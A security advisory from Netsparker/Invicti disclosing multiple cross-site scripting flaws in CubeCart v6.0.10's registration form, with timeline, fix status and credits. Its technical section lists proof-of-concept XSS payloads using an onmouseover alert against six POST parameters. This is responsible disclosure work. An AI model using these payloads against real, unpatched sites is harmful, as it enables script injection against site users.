Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in CubeCart
Affected Software: CubeCart
Affected Versions: v6.0.10 and possibly below
Vendor Homepage: https://www.cubecart.com 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-003

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in CubeCart v6.0.10:

URL /cube/index.php?_a=register
Parameter Name title
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /cube/index.php?_a=register
Parameter Name first_name
Parameter Type POST
Attack Pattern x'" onmouseover="alert(9)

URL /cube/index.php?_a=register
Parameter Name last_name
Parameter Type POST
Attack Pattern x'" onmouseover="alert(9)

URL /cube/index.php?_a=register
Parameter Name email
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /cube/index.php?_a=register
Parameter Name phone
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /cube/index.php?_a=register
Parameter Name mobile
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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25 Feb 2016 - First Contact
08 Mar 2016 - Vendor Fixed
14 Mar 2016 - Advisory Released

Solution
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Patch released by CubeCart and announced here.

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.